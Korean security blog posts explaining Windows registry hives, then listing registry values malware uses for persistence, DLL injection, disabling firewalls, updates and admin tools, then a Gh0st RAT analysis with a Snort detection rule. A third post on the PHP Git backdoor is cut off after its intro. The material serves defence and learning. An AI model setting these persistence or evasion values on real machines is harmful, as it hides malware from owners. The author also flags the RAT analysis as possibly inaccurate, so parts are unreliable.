1. 레지스트리

- 시스템, 사용자, 프로그램, 서비스, 드라이버 등 PC 운용에 반드시 필요한 정보를 저장해둔 데이터베이스

- 윈도우+R > regedit.exe(또는 regedit)를 통해 접근하며, 키(Key_폴더의 개념)와 값(Value_파일의 개념)로 구성

- 레지스트리는 수많은 논리를 구분하는 하이브(Hive)로 나눌 수 있으며, 하이브는 모두 HKEY로 시작

하이브 약칭 설명
HKEY_CLASSES_ROOT HKCR - 파일 확장자와 특정 프로그램을 연결시켜주는 참조 테이블
- OLE 데이터와 확장자에 대한 정보, 파일과 프로그램 각 연결 정보가 포함
- 파일 확장자들이 서브트리로 구성, 각 확장자는 파일타입과 연결되어 해당 프로그램을 확인가능
HKEY_CURRENT_USER HKCU - 현재 로그인한 사용자의 설정을 저장
HKEY_LOCAL_MACHINE HKLM - 시스템 전체 설정을 저장
- 부팅과 관련된 5개의 하위키를 가짐
① HKLM\HARDWARE
> 휘발성 정보로 메모리에 존재
> 모니터 포트 등 부팅 시 관련된 하드웨어 장치와 드라이버 맵핑 정보들을 저장

② HKLM\SAM
> 사용자의 로컬 계정 정보(사용자 패스워드, 사용자 프로필 등)와 그룹 정보를 갖고 있음 (리눅스 /etc/passwd와 비슷)
> 일반 관리자 계정으로도 접근이 불가능하며, 시스템 계정으로만 접근 가능

③ HKLM\SECURITY
> 시스템 범위의 보안 정책과 사용자 권한 할당 정보, 현재 시스템의 패스워드 또는 마지막 로그온 사용자의 패스워드 등의 정보를 가짐
> 시스템 계정으로만 접근이 가능

④ HKLM\SYSTEM
> 시스템이 부팅될 때의 환경 설정 정보를 가짐
> 시스템이 정상적 부팅되었을 때 복사되며, 시스템이 비정상적으로 종료되었을 때 복사해 둔 정보를 바탕으로 부팅할 수 있는 옵션을 사용자에게 제공
> 복사본은 일반적으로 '마지막으로 성공한 구성'이라고 부름
> 해당 하이브에서 중요한 것은 바로 CurrentControlSet 키(보통 2개 이상 존재)
> CurrentControlSet은 부팅에서 사용된 ControlSet 키(ControlSet001_최근 부팅에서 사용한 키 또는 ControlSet002_마지막으로 성공한 구성)의 링크이고, 같은 레벨에 있는 Select 키에서 확인 가능

⑤ HKLM\SOFTWARE
> 시스템 범위의 소프트웨어 목록과 그 환경 설정 정보가 저장
> 환경설정 정보에는 애플리케이션 이름, 경로, 라이센스 정보, 만료 날짜 등이 포함
HKEY_USERS  HKU - 시스템의 모든 사용자에 대한 모든 설정을 저장
- HKEY_CURRENT_USER 키에 일치하는 서브키를 가지고 있음
HKEY_CURRENT_CONFIG HKCC - 시스템 시작 시 사용되는 하드웨어 프로파일 저장
- 현재 활성화된 하드웨어 알아보기 위해 참조
HKEY_PERFORMANCE_DATA - - 런타임 성능 데이터 정보를 제공
- 레지스트리 편집기에 보이지 않지만 윈도우 API의 레지스트리 명령어를 통해 확인 가능
HKEY_DYN_DATA - - 윈도우 95, 윈도우 98, 윈도우 Me에만 쓰임
- 플러그 앤 플레이를 비롯한 하드웨어 장치, 네트워크 성능 통계에 대한 정보를 포함

 

2. 악성코드가 이용하는 레지스트리 정보

[탐색기 폴더 옵션의 파일 숨김 속성]
- HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden
- HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue

 

[파일의 속성 부분에서 체크박스 활성/비활성]
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileExt\UncheckedValue
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileExt\CheckedValue
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileExt\DefaultValue

 

[오토런 설정]
- HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun
- USB 같은 이동형 저장장치에 대해 Autorun 설정을 합니다. (0xFF로 설정 시 Block, 0x00으로 설정 시 모두 허용)

 

[윈도우 주요 설정 툴 실행 방지]
- HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools
- HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr
- HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD

 

[Image File Execution Options 이용하여 프로그램 실행 방지]
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution\Options\calc.exe Debugger = notepad.exe
- 계산기 실행 시 노트패드로 전환되어 실행. (AV 실행을 막거나, 포렌직 툴 실행을 막기위해 변조함)

 

[시작프로그램 관련]
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\userinit
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

- HKLM\Software\Microsoft\Windows\CurrentVersion\policies\Explorer
DisableLocalMachineRunOnce=1:DWORD
DisableLocalMachineRun=1:DWORD
DisableCurrentUserRunOnce=1:DWORD
DisableLocalMachineRun=1:DWORD
- 이러한 키가 설정되면 시작프로그램에 등록된 프로그램이 실행이 안됨.

HKLM\SOFTWARE\Classes\exefile\shell\open\command
@="soundmix \"%1\" %*"
- soundmix 프로세스를 KILL 하여도 계속적으로 재실행

 

[인터넷 익스플로러]
- HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel
- 해당 키 안에 ResetWebSettings 값이나 HomePage 값이 있으면 시작 페이지 부분 비활성화. (재부팅이 필요 합니다) 

[HKEY_CURRENT_USER\Software\Policies\Microsoft\internet explorer\restrictions]
"NoBrowserOptions"=dword:00000001
- 인터넷 옵션 실행불가 관련 레지스트리

[HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"AdvancedTab"=dword:00000001
"PrivacyTab"=dword:00000001
"ProgramsTab"=dword:00000001
"ConnectionsTab"=dword:00000001
"ContentTab"=dword:00000001
"SecurityTab"=dword:00000001
"GeneralTab"=dword:00000001
- 역시 인터넷 옵션 실행불가 관련 레지스트리

 

[네트워크 관련]
HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters\MaxUserPort
- 윈도우에서 허용하는 네트워크 연결 개수 수정(주로 Spamer가 변조)

[HKLM\SYSTEM\ControlSet001\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\00000000000*]
"PackedCatalogItem" 이진값 문자열에 악성코드가 삽입되어 있을 경우 네트워크가 정상적으로 동작하지 않음.
netsh winsock show catalog 명령어로 확인 가능, 복구툴 : http://www.cexx.org/lspfix.htm

 

[윈도우 보안 정책 관련]
HKLM\SYSTEM\ControlSet001\Services\wscsvc\Start
- wscsvc : 윈도우 시큐리티 보안센터, 윈도우 시큐리티 보안센터 시작을 꺼버립니다.

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\EnableLUA
- 윈도우 VISTA UAC 기능 무효화

HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall 
HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\DoNotAllowExceptions  
HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
- 윈도우 방화벽 관련 정책 변경

HKLM\SOFTWARE\Microsoft\Ole\EnableDCOM
- 분산 컴포넌트 객체 모형에 해당하는 값을 변경 [DCOM, Distributed Component Object Model]

HKLM\SOFTWARE\Microsoft\Security Center\AntiVirusDisableNotify
- 보안센터 바이러스 백신 경보에 해당하는 값을 변경

HKLM\SOFTWARE\Microsoft\Security Center\FirewallDisableNotify
- 보안센터 바이러스 사용자지정 백신에 해당하는 값을 변경

HKLM\SOFTWARE\Microsoft\Security Center\AntiVirusOverride
- 보안센터 바이러스 방화벽 경보에 해당하는 값을 변경

HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Start
- 연결공유서비스에 해당하는 값을 변경한다.

HKLM\SYSTEM\CurrentControlSet\Control\Lsa\restrictanonymous
- 익명연결(널세션)에 해당 하는 값을 변경

 

[제어판 관련]
HKCU\Control Panel\don't load\"access.cpl" = "No"
HKCU\Control Panel\don't load\"appwiz.cpl" = "No"
HKCU\Control Panel\don't load\"hdwwiz.cpl" = "No"
HKCU\Control Panel\don't load\"inetcpl.cpl" = "No"
HKCU\Control Panel\don't load\"intl.cpl" = "No"
HKCU\Control Panel\don't load\"joy.cpl" = "No"
HKCU\Control Panel\don't load\"main.cpl" = "No"
HKCU\Control Panel\don't load\"ncpa.cpl" = "No"
HKCU\Control Panel\don't load\"netcpl.cpl" = "No"
HKCU\Control Panel\don't load\"nusrmgr.cpl" = "No"
HKCU\Control Panel\don't load\"timedate.cpl" = "No"
HKCU\Control Panel\don't load\"joy.cpl" = "No"
- 제어판에서 메뉴를 보이지 않도록 한다.

 

[바탕화면 배경화면 관련]
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\ActiveDesktop\

 

[윈도우 시작시 자동실행 - Run]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\”Attack” = “%System%\Attack.exe” 
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\”Attack” = “%System%\Attack.exe”

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
==> 윈도우가 시작할때 동작할 수 있는 레지스트리.

 

[윈도우 시작시 자동실행 - RunOnce]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\”Attack” = “%System%\Attack.exe”

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
==> 윈도우가 시작할때 동작할 수 있는 레지스트리.

 

[윈도우 시작시 자동실행 - RunServices]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\”Attack” = “c:\windows\Attack.exe”

 

[윈도우 시작시 자동실행 - Winlogon]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\"Shell" = "Explorer.exe %System%\attack.exe"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\"Shell"

원래는 Explorer.exe 만 있는게 정상이다. explorer.exe 로 사용자와 컴퓨터간의 대화를 할 수 있게 한다.
여기에 악성코드 경로를 넣어주면, 사용자가 명령을 할 때마다 악성코드가 실행되는 것이다.

 

[윈도우 시작시 자동실행 - Userinit]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\"Userinit" = "%System%\userinit.exe, %System%\attack.exe"

원래는 "%System%\userinit.exe만 있는게 정상이다. 
부팅이 되고,, winlogon 이 실행되서 로그인을 하고 들어가면, userinit 가 실행이 되서 explorer.exe 를 실행하는 것이다.
요런 흐름인데 explorer.exe 가 실행되기 전에 악성코드가 실행되어 버리니..
백신도 진단을 못할 수도 있는법이다~

 

[윈도우 시작시 자동실행 - Taskman]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\"Taskman" = "%SystemDrive%\RECYCLER\[SID]\attack.exe"

원래는 Taskman 이라는 값이 없다.

 

[윈도우 시작시 자동실행 - Active Setup]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{5Y99AE78-58TT-11dW-BE53-Y67078979Y}\

정상파일 :  system32 폴더 ==>  iedkcs32.dll /ie4uinit.exe / ieuddinit.exe / shmgrate.exe
                advpack.dll / mscories.dll / themeui.dll / shell32.dll
                c:\program files\outlook express\setup50.exe
                c:\windows\inf\unregmp2.exe
{5Y99AE78-58TT-11dW-BE53-Y67078979Y} 는 악성코드..

 

[DLL Injection 을 위한 변경 - AppInit_DLLs]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\"AppInit_DLLs" = "악성코드경로\attack.dll"

DLL Injection 이라는 것은 여러가지 방법이 있는데 그중 한 방법이다.
레지스트리에 위와 같이 등록이 된다면, 어떠한 프로세스에서 user32.dll (실행시 필요) 을 호출할 시에 user32.dll 은 LoadLibrary() 함수를 이용할 것이고, AppInit_DLLs 안에 지정된 DLL 들을 호출할 것이다.
LoadLibrary() 함수에는 인자값이 DLL_PROCESS_ATTACH 를 지정해 준다. 그러므로 중간에 끼어들어갈 수 있다.

 

[DLL Injection - InprocServer32]
HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-000000000000}\InprocServer32\"기본값" = "....\attack.dll"

이것은 attack.dll 에 있는 값을 얻어 컴포넌트 파일의 경로를 알아낸다.
즉.. LoadLibrary() 를 호출하면 (user32.dll 사용시) 클라이언트 프로세스 안에 DLL 컴포넌트를 로드시킨다.

 

[DLL Injection - RemoteAccess]
HKEY_LOCAL_MACHINE\System\CurrentControlSet\RemoteAccess\Parameters"ServiceDLL" = "....\attack.dll"

서비스에서 Routing and Remote Access 를 가로챈다.
정상적인 값은 %SystemRoot%System32\mprdim.dll 이다.

 

[윈도우 시작시 자동실행 - Active Setup]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{12345678-1234-1234-1234-123456789101(임의의번호)}\"StubPath" = "%SystemDrive%\RESTORE\[SID]\악성코드.exe"

위의 경로에서 c:\RESTORE\[SID]\ 에는 Desktop.ini 가 같이 존재하여 두개가 유기적으로 동작한다.

 

[서비스 변경]
HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\[Service Name]\"Start" = 3

2 = 자동 /  3 =  수동 / 4 = 사용안함
정상적인 서비스의 레지스트리 값을 조정한다.

 

[IFEO 값 변경]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\악성코드.exe\"Debugger" = "ntsd -d"

프로그램이 실행되면 위 경로로 가기 때문에 파일들이 실행이 되지 않는다.
정상적인 것은 c:\windows\system32\ntsd.exe ..
나머지는 Debugger 값이 없다.

 

[BHO 값 변경 - Browser Helper Objects]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\[Random CLSID]\"기본값" = "%Windir%\attack.dll"
 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\[Random CLSID]\"기본값" = "%Windir%\attack.dll"

BHO 는 개발자들이 인터넷 익스플로어를 제어하고 사용자가 원하는대로 바꾸도록 지원해 주는 것이다.
인터넷 익스플로어가 시작될 때, 레지스트리에서 BHO 를 찾고 자동으로 생성한다. 그러므로 이 특징을 이용해 악의적인 행위를 한다.

 

[안전모드에서 부팅 못하게..]
HKEY_LOCAL_MACHINE\system\CurrentControlSet\Control\SafeBoot\

악성코드는 위의 키를 아예 삭제해 버린다.

 

[방화벽 우회 - 방화벽 내리기]
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001(&ControlSet002&CurrentControlSet)Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile
"EnableFirewall" = 0

EnableFirewall 의 값은 원래부터 있는 값은 아니고, 윈도우 방화벽을 내리면 생기는 키값이다.
위의 방법으로 윈도우 방화벽을 우회한다.

 

[방화벽 우회 - 악성코드 권한주기]
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications\List\%Windir%\system32\"attack.exe" = "%Windir%\system32\attack.exe:*:Enabled:@xpsp2res.dll,-22019" = "Explorer.exe %System%\attack_1.exe"

ControlSet002 / CurrentControlSet 도 마찬가지 이다.
그리고 위에서는 보라색 글자와 같이 DomainProfile 에서 바꾸어 주었는데 이곳이 아닌 StandardProfile 에서도 바꾸어 준다.
뭐.... 워낙 영어에 취약한 지라..  한글로 풀어써서 이해를 하였다.
서비스\공유접근\매개변수\방화벽정책\사용자프로파일\권한응용프로그램\목록\
오호~  방화벽 정책에서 악성코드에 권한을 주는구만?    이라고.. 난 해석하였다.

 

[트레이의 말풍선 도움말 설정]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\"EnableBalloonTips" = "1"

위의 내용은 허위로 안내 도움말을 하기 위해 켜놓은 것이다. 원래의 값은 0이다. 보통 허위안티바이러스에서 많이 사용을 한다.
사용자에게 지속적으로 감염되었다고 알려주어 겁주고 결제 요구한다...
EnableBalloonTips  ==> 표시줄 트레이의 풍선 도움말
HKEY_LOCAL_MACHINE 이외에 HKEY_CURRENT_USER 도 수정한다.

 

[작업관리자 사용금지하게 하는 것]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\"DisableTaskMgr" = "1"

Task Manager 를 비활성화 시킨다. 이것은 우리가 흔히 알고 있는 작업관리자이다.
작업관리자(Ctrl+Alt+Del)가 뜨지 않는다면 요 레지스트리가 1로 되어있기 때문에 뜨지 않는 것이다.
악성코드들은 자기자신을 은폐하려 들기 때문에 작업관리자를 사용하지 못하도록 한다.
HKEY_LOCAL_MACHINE 이외에 HKEY_CURRENT_USER 도 수정한다.

 

[제어판 사용 금지]
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\"NoControlPanel" = "1"

NoControlPanel 은 제어판에 사용자가 접근하는 것을 제한하는 것이다.
이것을 1로 설정해 놓으면 제어판을 열수가 없다.
HKEY_LOCAL_MACHINE 이외에 HKEY_CURRENT_USER 도 수정한다.

 

[레지스트리 사용 금지]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\"DisableRegistryTools" = "1"

Disable (무능력하게 하다) RegistryTools (레지스트리툴을)
레지스트리 툴 사용을 무능력하게 하여, 사용자의 접근을 막는다.

 

[업데이트 사용 금지 - HKLM]
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\AU\"NoAutoUpdate" = "1"

자동 업데이트를 막는다.

 

[업데이트 사용 금지 - HKCU]
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\"NoWindowsUpdate" = "1"

 

[보호된 운영체제 파일 숨기기  - 폴더 옵션]
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden
"Type" = "nonprintable characters"

악성코드 자신을 보호하고 파일을 숨기면 사용자는 악성코드에 접근할 수 없다.  그러므로 이 레지스트리 값을 이용하여 자신에게 접근을 보호한다.
Type 값에 이상한 글자를 넣게 된다면..  폴더 옵션에서 아예 메뉴가 나오지 않는다.

 

[다운시 보안 팝업창 무력화]
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download
"CheckExeSignatures" = "no"

인터넷에서 다운로드를 해 실행을 하면 경고창을 띄우는 것을 우리는 알고 있다.
그러나 위의 레지값을 변경하면 경고창 없이 설치가 되버린다.

 

[exe 파일이 열리지 않을때 - 프로그램 선택하라는 창이 나올 때  ]
HKEY_CLASSES_ROOT\exefile\shell\open\command\"기본값" = ""악성코드경로" /START "%1" %*"
HKEY_CLASSES_ROOT\exefile\shell\open\command\"기본값" = "%1" %* 
위와 같이 기본값을 변경해 주어야 한다. 

HKEY_CLASSES_ROOT\.exe\"기본값" = "secfile"
HKEY_CLASSES_ROOT\.exe\"기본값" = "exefile"
secfile 값을 exefile 로 고쳐준다.

HKEY_CLASSES_ROOT\.exe\shell\open\command\"기본값" = ""악성코드경로" /START "%1" %*"
HKEY_CLASSES_ROOT\.exe\shell\open\command\"기본값" = "%1" %* 
키를 삭제해주어도 무방.

HKEY_CLASSES_ROOT\secfile\shell\open\command\"기본값" = ""악성코드경로" /START "%1" %*"
HKEY_CLASSES_ROOT\secfile\shell\open\command\"기본값" = "%1" %*
키를 삭제해주어도 무방.

악성코드는 secfile 이라는 것을 만들어 exe 가 실행되면 자신이 만들어 놓은 레지스트리 대로 행동하게 한다.
아래 값들처럼 복구를 해주어야 한다.
  
아래와 같이 레지스트리를 생성하는 경우도 있다. 그럴 때는 이 키들을 삭제해주어야 한다.

HKEY_CURRENT_USER\Software\Classes\.exe\shell\open\Command\"기본값" = "악성코드 경로" /START "%1" %*
HKEY_CURRENT_USER\Software\Classes\secfile\shell\open\Command\"기본값" = "악성코드 경로" /START "%1" %*

간혹,,, 아래 표와같은 레지스트리 변경건도 있을 수 있다.
HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet\FIREFOX.EXE\shell\open\Command\"기본값" = "악성코드 경로" /START "C:\Program File\MozillaFirefox\firefox.exe"
HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet\FIREFOX.EXE\shell\safemode\Command\"기본값" = "악성코드 경로" /START "C:\Program File\MozillaFirefox\firefox.exe"  -safe-mode
HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet\IEXPLORE.EXE\shell\open\Command\"기본값" = "악성코드 경로" /START "C:\Program File\InternetExplorer\iexplore.exe"  -safe-mode
위 레지스트리 값은 삭제해준다.

 

[익스플로어 검색 기본값 변경]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\"Default_Search_URL" = "정상적인 것은 microsoft 주소가 적혀 있어야함"

 

[익스플로어 검색 페이지 변경]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\"Search page" = "정상적인 것은 microsoft 주소가 적혀 있어야함"

 

[익스플로어 시작 페이지 변경]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\"Start Page" = "정상적인 것은 microsoft 주소가 적혀 있어야함"

 

※ 출처

 

악성코드가 이용하는 Windows Registry 정보

[탐색기 폴더 옵션의 파일 숨김 속성] HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explor

jyj850714.tistory.com

 

3. 참고

https://ko.wikipedia.org/wiki/%EC%9C%88%EB%8F%84%EC%9A%B0_%EB%A0%88%EC%A7%80%EC%8A%A4%ED%8A%B8%EB%A6%AC

https://yum-history.tistory.com/265

https://m.blog.naver.com/nologout/19168074

https://jyj850714.tistory.com/130

https://comeinsidebox.com/%EB%A0%88%EC%A7%80%EC%8A%A4%ED%8A%B8%EB%A6%AC-registry%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%B4%EB%A9%B0-%EB%A0%88%EC%A7%80%EC%8A%A4%ED%8A%B8%EB%A6%AC-%ED%8E%B8%EC%A7%91%EA%B8%B0%EB%A5%BC-%EC%82%AC/

'악성코드 > 분석' 카테고리의 다른 글

BYOVD (Bring Your Own Vulnerable Driver) 기법  (0) 2023.03.22
제로클릭(Zero-Click)  (0) 2023.02.20
Gh0st RAT(Remote Access Trojan)  (0) 2022.11.28
2021.03.28 PHP Git 서버 해킹 사건_백도어  (1) 2022.11.25
C2aaS(C2-as-a-Service)  (0) 2022.11.19

1. 개요

- 중국의 ‘C. Rufus Security Team’에서 개발되었으며 오픈소스로 제작된 원격 제어 악성코드

- 감염에 필요한 악성코드 생성 및 감염PC들의 관리와 공격명령을 통한 악성행위를 수행할 수 있는 해킹도구

- 해커는 자신의 서버로 접속한 좀비PC들에게 간단한 조작으로 DDoS공격, 화면제어, 키로깅, 도청 등 악성행위를 수행

- 소스코드가 공개되어 꾸준하게 버전업이 되고 있으며, 누구나 쉽게 사용할 수 있음

 

2. 분석

2.1 툴

- 먼저 툴은 Connections, Settings, Build 3개의 탭으로 구성

① Connections

- 공격자가 제어 가능한 PC, 즉 좀비 PC 확인 가능

- 공격자가 배포한 파일을 피해자가 실행할 경우 목록에 등록되며 제어가 가능해짐

[사진 1] Connections

기능
파일 관리(F) 화면 제어(C) 키로거(K) 원격 터미널(T)
시스템 관리(M) 실시간 화면(V) 음성 녹음(W) 세션 관리(S)
기타 기능(O) 메모 설정(R) 연결 종료(D)  

 

② Settings

- 공격자 서버, 즉 C2 서버에 대한 설정이 가능

- 해당 탭을 이용해 공격자가 원하는 설정이 가능

- Key Strings는 C2서버 접속을 위한 C2 주소와 포트 번호로 구성된 인코딩 데이터

[사진 2] Settings

Build 

- 공격용 파일, 즉 악성파일을 생성

[사진 3] Build

 

 

2.2 악성행위

① 시스템 정보 수집

- 감염 PC의 프로세스, 열린 창 정보, Dialupass(로그온 세부 정보를 표시) 등 PC 정보를 나타냄

[사진 4] 시스템 정보 수집 일부

② 키로깅

- 사용자가 키보드를 통해 입력한 값을 txt파일로 저장

[사진 5] 키로깅 일부

③ 파일 관리

- 파일 생성, 복사, 삭제, 실행 등 파일 관리 명령 수행

- 감염 PC의 파일을 외부로 유출하거나, 악성파일을 업로드하여 추가 악성코드 다운 가능

[사진 6] 파일 관리 일부

④ 화면 캡쳐

- 감염 PC의 현재 화면을 캡쳐, 전송 등의 명령 수행

[사진 7] 화면 캡쳐 일부

⑤ 주요 기능

기능 설명
스케줄러 및
레지스트리 등록 
- 파일이 실행이 되면 ‘C:\WINDOWS\[임의8자리]’ 경로에 ‘svchsot. exe’를 생성(자기복제)
- C:\WINDOWS\Tasks경로에 At1~24까지 24개의 스케줄러 파일을 생성
- svchsot.exe를 1시간 간격으로 매일 자동실행 하도록 설정
- 부팅시 자동실행을 위해 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RUN 경로에 svchsot.exe파일 추가
Anti-Virus 종료 - Taskkill명령이나 TerminateProcess()를 이용하여 Anti-Virus프로그램 종료
Guest계정 활성화 및
관리자 그룹 등록
- CMD 명령을 이용하여 윈도우 운영체제에 기본적으로 접근하는 guest계정을 관리자 그룹으로 추가 및 활성화를 통해 감염PC로 접근하기가 쉽도록 설정
화면 및
키보드&마우스를 제어
- 감염된 PC를 공격자가 원격으로 화면 및 키보드&마우스를 원격지에서 조정
음성정보를 녹음 - 감염된 PC에 설치된 마이크를 통해 음성정보를 기록하여 공격자에게 전달
키로그 저장기능 - 감염된 PC에 조작되는 키보드 이벤트를 기록하여 [임의8자리].key로저장한 후 공격자에게 전달
DDoS공격 기능 - 공격자가 지정한 URL로 TCP,UDP, ICMP, SYN등의 DDoS 공격을 수행
추가 다운로드기능 - 공격자는 추가로 악성행위에 필요한 악성코드를 다운로드
모뎀정보 확인 - 감염PC에 모뎀이 설정된 경우 운영체제에 저장된 전화모뎀 설정파일에 접근하여 전화번호 등의 사용자 정보를 획득
웹캠 작동 - 감염PC에 장착된 웹캠이 있을 경우 사용자 동의 없이 웹캠을 작동하여 카메라 화면을 캡쳐

 

3. 대응

① OS, AV 소프트웨어 최신 업데이트 적용 후 악성코드 감염 확인 및 치료 조치

- Gh0st RAT 실행되면 C:\WINDOWS\Tasks 폴더에 At1~At24.job 스케줄러 파일을 생성

[사진 8] KISA 140508_Gh0st_RAT_원격제어_악성코드_유포.pdf 발췌

 

- C:\WINDOWS\[임의8자리] 폴더에 svchsot.exe(복사된 악성코드)파일이 저장

[사진 9] KISA 140508_Gh0st_RAT_원격제어_악성코드_유포.pdf 발췌

 

- HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\Run 경로에 C:\WINDOWS\[임의8자리]\svchsot.exe를 자동실행하도록 추가

[사진 10] KISA 140508_Gh0st_RAT_원격제어_악성코드_유포.pdf 발췌

 

② 패킷 탐지 Snort Rule 등 적용

- C&C에 접속하는 패킷의 내용 중 ‘Gh0st’라는 String값이 포함

[사진 11] KISA 140508_Gh0st_RAT_원격제어_악성코드_유포.pdf 발췌

alert tcp $HOME_NET any -> $EXTERNAL_NET 201 (msg:"Gh0stRAT malware v3.6 June 2015 check-in "; flow:to_server,established; content:"|63 6c 61 72 6b 63 6c 61 72 31|"; depth:10; sid:1; rev:1;)

 

4. 참고

https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=21626 

https://github.com/sin5678/gh0st/tree/master/gh0st

https://github.com/abhinavbom/Snort-Rules/blob/master/malware.rules

https://koreaidc.tistory.com/60

https://www.igloo.co.kr/security-information/%EC%9B%90%EA%B2%A9-%EC%A0%91%EC%86%8D-%EB%8F%84%EA%B5%ACrat%EC%9D%98-%EB%91%90-%EC%96%BC%EA%B5%B4/

 

초기 목적은 부족하지만 직접 빌드를 수행하고, 실행해 보면서 확인해 보려 했습니다.

하지만 기술과 능력의 부족으로 그러지 못했고, 소스코드를 확인해 보면서 추측과 구글링으로 작성하였습니다.

많이 부족하며, 부정확하고, 잘못된 정보가 많을 수 있습니다.

더 노력하여 다음에는 더 나은 게시글을 작성하도록 하겠습니다.

감사합니다.

'악성코드 > 분석' 카테고리의 다른 글

제로클릭(Zero-Click)  (0) 2023.02.20
악성코드와 레지스트리  (1) 2023.01.08
2021.03.28 PHP Git 서버 해킹 사건_백도어  (1) 2022.11.25
C2aaS(C2-as-a-Service)  (0) 2022.11.19
IoT Mirai 악성코드 분석  (0) 2022.11.11

1. 개요

- 2021.03.28 PHP의 Git 서버(git.php.net)에 백도어를 심어 PHP 개발자들이 악성 서비스 및 앱을 개발하도록 유도

- 감염된 코드로 웹 사이트를 만들었다면, 공격자들은 백도어를 통해 침투 및 임의의 명령을 실행 가능

- 재빨리 발견되어 조치가 취해짐 > 정상적인 코드로 롤백

- git.php.net 서버 폐기 후 GitHub 저장소로 프로젝트를 이전 조치

 

2. 공급망 공격 (Value-Chain Attack)

- 서드파티 공격(Third Party Attack) 공격이라고도 불림

- 유통 및 공급 과정을 이용한 공격 유형

